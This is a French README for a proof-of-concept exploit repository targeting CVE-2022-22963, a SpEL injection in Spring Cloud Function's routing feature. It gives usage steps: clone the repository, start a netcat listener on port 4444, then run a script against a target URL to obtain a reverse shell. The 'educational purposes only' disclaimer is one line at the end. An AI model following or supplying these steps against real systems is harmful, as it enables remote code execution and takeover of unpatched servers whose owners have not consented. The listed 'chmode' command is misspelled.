
Preuve de concept d'exploit pour CVE-2022-22963, une injection SpEL dans Spring Cloud Function menant à une exécution de code à distance. Inclut un script shell pour l'exploitation automatisée avec une charge utile de reverse shell.
Dans les versions 3.1.6, 3.2.2 et versions antérieures de Spring Cloud Function, lors de l'utilisation de la fonctionnalité de routage, il est possible qu'un utilisateur fournisse un SpEL spécialement conçu comme expression de routage, ce qui peut entraîner l'exécution de code à distance et l'accès à des ressources locales.
Clonez le dépôt
git clone https://github.com/jrbH4CK/CVE-2022-22963.git
Accédez au dossier
cd CVE-2022-22963
Changez les permissions d'exécution
chmode +x springCloud.sh
Lancez nc sur le port souhaité
nc -nlvp 4444
Exécutez la commande suivante en modifiant les paramètres selon vos besoins
./springCloud.sh url lhost lport
NOTE : L'utilisation de ce dépôt relève de la responsabilité de l'utilisateur et non de l'auteur, à des fins éducatives uniquement.